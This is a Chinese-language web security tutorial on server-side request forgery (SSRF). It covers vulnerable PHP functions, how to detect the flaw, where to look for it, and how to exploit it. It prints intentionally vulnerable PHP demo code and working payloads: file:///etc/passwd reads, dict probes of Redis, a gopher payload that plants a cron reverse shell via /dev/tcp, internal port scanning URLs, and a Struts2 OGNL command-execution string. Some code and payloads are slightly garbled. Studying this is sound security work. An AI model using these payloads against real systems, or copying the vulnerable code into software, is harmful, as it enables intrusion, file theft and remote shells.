SSRF漏洞(原理、挖掘点、漏洞利⽤、修复建议)
⼀、介绍SSRF漏洞
SSRF (Server-Side Request Forgery,服务器端请求伪造)是⼀种由攻击者构造请求,由服务端发起请求的安全漏洞。⼀般情况下,SSRF攻击的⽬标是外⽹⽆法访问的内部系统(正因为请求是由服务端发起的,所以服务端能请求到与⾃⾝相连⽽与外⽹隔离的内部系统)。
⼆、SSRF漏洞原理
SSRF的形成⼤多是由于服务端提供了从其他服务器应⽤获取数据的功能且没有对⽬标地址做过滤与限制。例如,⿊客操作服务端从指定URL地址获取⽹页⽂本内容,加载指定地址的图⽚等,利⽤的是服务端的请求伪造。SSRF利⽤存在缺陷的Web
应⽤作为代理攻击远程和本地的服务器。
主要攻击⽅式如下所⽰。
对外⽹、服务器所在内⽹、本地进⾏端⼝扫描,获取⼀些服务的banner信息。
攻击运⾏在内⽹或本地的应⽤程序。
对内⽹Web应⽤进⾏指纹识别,识别企业内部的资产信息。
攻击内外⽹的Web应⽤,主要是使⽤HTTP GET请求就可以实现的攻击(⽐如struts2、SQli等)。
利⽤file协议读取本地⽂件等。
漏洞产⽣相关函数:
file_get_contents()、fsockopen()、curl_exec()、fopen()、readfile()
(1)file_get_contents()
<?php
$url = $_GET['url'];;
echo file_get_contents($url);
>
file_get_content函数从⽤户指定的url获取内容,然后指定⼀个⽂件名j进⾏保存,并展⽰给⽤户。file_put_content函数把⼀个字符串写⼊⽂件中。
(2)fsockopen()
<?php
function GetFile($host,$port,$link) {
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
>
fsockopen函数实现对⽤户指定url数据的获取,该函数使⽤socket(端⼝)跟服务器建⽴tcp连接,传输数据。变量host为主机名,port为端⼝,errstr表⽰错误信息将以字符串的信息返回,30为时限
(3)curl_exec()
<?php
if (isset($_POST['url'])){
$link = $_POST['url'];
$curlobj = curl_init();// 创建新的 cURL 资源
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);// 设置 URL 和相应的选项
$result=curl_exec($curlobj);// 抓取 URL 并把它传递给浏览器
curl_close($curlobj);// 关闭 cURL 资源,并且释放系统资源
$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result);
echo $result;
}
>
curl_exec函数⽤于执⾏指定的cURL会话
注意:
1.⼀般情况下PHP不会开启fopen的gopher wrapper
2.file_get_contents的gopher协议不能URL编码
3.file_get_contents关于Gopher的302跳转会出现bug,导致利⽤失败
4.curl/libcurl 7.43上gopher协议存在bug(%00截断) 经测试7.49可⽤
5.curl_exec() //默认不跟踪跳转,
6.file_get_contents() // file_get_contents⽀持php://input协议
三、SSRF漏洞验证⽅式
3.1.排除法:浏览器f12查看源代码看是否是在本地进⾏了请求
3.2.dnslog等⼯具进⾏测试,看是否被访问(可以在盲打后台,⽤例中将当前准备请求的url和参数编码成base64,这样盲打后台解码后就知道是哪台机器哪个cgi触发的请求) 3.3.抓包分析发送的请求是不是通过服务器发送的,如果不是客户端发出的请求,则有可能是存在漏洞。接着存在HTTP服务的内⽹地址
从漏洞平台中的历史漏洞寻泄漏的存在web应⽤内⽹地址
通过⼆级域名暴⼒猜解⼯具模糊猜测内⽹地址
通过file协议读取内⽹信息获取相关地址
3.4.直接返回的Banner、title、content等信息
3.5.留意布尔型SSRF,通过判断两次不同请求结果的差异来判断是否存在SSRF,类似布尔型sql盲注⽅法。
四、SSRF漏洞利⽤⽅式
4.1. 能扫描内部⽹络,获取端⼝,服务信息。
4.2. 攻击运⾏在内⽹或本地的应⽤程序。
4.3. 对内⽹web进⾏指纹识别
4.4. 对内部主机和端⼝发送请求包进⾏攻击
4.5. file协议读取本地⽂件
五、SSRF漏洞点挖掘
5.1. 社交分享功能:获取超链接的标题等内容进⾏显⽰
5.2. 转码服务:通过URL地址把原地址的⽹页内容调优使其适合⼿机屏幕浏览
5.3. 在线翻译:给⽹址翻译对应⽹页的内容
5.4. 图⽚加载/下载:例如富⽂本编辑器中的点击下载图⽚到本地;通过URL地址加载或下载图⽚
5.5. 图⽚/⽂章收藏功能:主要其会取URL地址中title以及⽂本的内容作为显⽰以求⼀个好的⽤具体验
5.6. 云服务⼚商:它会远程执⾏⼀些命令来判断⽹站是否存活等,所以如果可以捕获相应的信息,就可以进⾏ssrf测试
5.7. ⽹站采集,⽹站抓取的地⽅:⼀些⽹站会针对你输⼊的url进⾏⼀些信息采集⼯作
5.8. 数据库内置功能:数据库的⽐如mongodb的copyDatabase函数
5.9. 邮件系统:⽐如接收邮件服务器地址
5.10. 编码处理, 属性信息处理,⽂件处理:⽐如ffpmg,ImageMagick,docx,pdf,xml处理器等
5.11. 未公开的api实现以及其他扩展调⽤URL的功能:可以利⽤google 语法加上这些关键字去寻SSRF漏洞
5.12.从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使⽤了xml引擎对象的地⽅ 如wordpress xmlrpc.php)
URL关键字:
Share、wap、url、link、src、source、target、u、3g、display、sourceURL、imageURL、domain
六、漏洞演⽰
漏洞Demo:
<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
>
6.1. SSRF利⽤的协议
(1)file:在有回显的情况下,利⽤ file 协议可以读取任意内容
(2)dict:泄露安装软件版本信息,查看端⼝,操作内⽹redis服务等
(3)gopher:gopher⽀持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利⽤中⼀个最强⼤的协议(俗称万能协议)。可⽤于反弹shell
(4)http/s:探测内⽹主机存活
6.2. 攻击运⾏在内⽹或本地的应⽤程序
本地利⽤⽅式:
(1)使⽤file协议 file protocol (任意⽂件读取)
curl -vvv 'file:///etc/passwd'
(2)使⽤dict协议 dict protocol (获取Redis配置信息)
curl -vvv 'dict://127.0.0.1:6379/info'
(3)使⽤gopher协议(俗称万能协议) gopher protocol (⼀键反弹Bash)
curl -vvv 'gopher://127.0.0.1:6379/_*1 %0d %0a $8%0d %0aflushall %0d %0a*3 %0d %0a $3%0d %0aset %0d %0a $1%0d %0a1 %0d %0a $64%0d %
0a %0d %0a %0a %0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/4444 0>&1 %0a %0a %0a %0a %0a %0d %0a %0d %0a %0d %0a*4 %0d %0a $6%0d %0 aconfig %0d %0a $3%0d %0aset %0d %0a $3%0d %0adir %0d %0a $16%0d %0a/var/spool/cron/ %0d %0a*4 %0d %0a $6%0d %0aconfig %0d %0a $ 3%0d %0aset %0d %0a $10%0d %0adbfilename %0d %0a $4%0d %0aroot %0d %0a*1 %0d %0a $4%0d %0asave %0d %0aquit %0d %0a'
6.3. 扫描内部⽹络,获取端⼝,服务信息
构造IP:PORT进⾏访问
探测内⽹IP192.168.1.124的80端⼝(这⾥⽤的是http协议当然也可以把http更换成dict协议去探测开放端⼝)
localhost/ssrf.php?url=192.168.1.124:80
探测个3306端⼝
localhost/ssrf.php?url=192.168.1.124:3306
随便探测⼀个端⼝(这⾥这个5357是开放的)
localhost/ssrf.php?url=192.168.1.124:5357
有⼀些端⼝服务的banner有就会探测到输出到页⾯上,或者开放的端⼝访问的状态码是5开头(500、501、)或者4开头(403、)等。端⼝未开放访问的⽹页的时间会⽐较长。
6.4. 对内⽹web进⾏指纹识别
通过构造⼀些cms的特征图⽚、⽬录、⽂件等去进⾏请求,如果内⽹192.168.1.124这台服务8080端⼝存在phpmyadmin,访问就会出现该图⽚
其他的同理
192.168.1.124:8080/phpMyAdmin/themes/original/img/b_tblimport.png
192.168.1.124:8081/wp-content/themes/default/images/audio.jpg
192.168.1.124:8082/profiles/minimal/
6.5. 对内部主机和端⼝发送请求包进⾏攻击
这⾥是⽤get⽅法可以攻击的web,⽐如struts2命令执⾏、Thinkphp、Jboss等。
以下是针对内⽹192.168.1.139这台服务器进⾏攻击,执⾏命令whoami
localhost/ssrf.php?url=192.168.1.139:8081/${%23context['xwork.MethodAccessor.denyMethodExecution']=false,%23f=%23_memberAccess. getClass().getDeclaredField('allowStaticMethodAccess'),%23f.setAccessible(true),%23f.set(%23_memberAccess,true),@org.apachemons.io.IOUtil s@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())}.action
post⽅法我们可以⽤gophar协议去发送请求数据包
localhost/ssrf.php?url=gopher://192.168.1.124:6667/_POST%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20127.0.0.1%3A2233%25 0d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250a%250d%250ausername%3 Dadmin%26password%3Dpassword
6.6. file协议读取本地⽂件(5.2有写)
这⾥的构成可以通过 url参数接收,去尝试请求内⽹资源
Windows:
localhost/ssrf.php?url=file:///c:\\windows\\
Linux:
localhost/ssrf.php?url=file:////
file协议利⽤,这⾥读取windows⽬录下的⽂件内容
6.7. SSRF攻击Redis
这⾥要搞懂两个知识点:1、gopher协议 2、redis的数据包转换字符串1、gopher协议
2、redis的数据包转换字符串
redis服务开启⼀个抓包监听本地6379端⼝:
⽤kali linux进⾏连接并执⾏个info命令:
接下来拿到本地⽤wireshark分析下数据包,追踪下TCP流:
*1 #数组长度为1
$7 #多⾏字符串,长度为7
COMMAND #命令
字符串长度web*1 #数组长度为1
$4 #多⾏字符串,长度为7
info #返回字符串,⽂本⾏的集合。
转换为url编码
*1
$7
COMMAND
*1
$4
info
url encode:
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论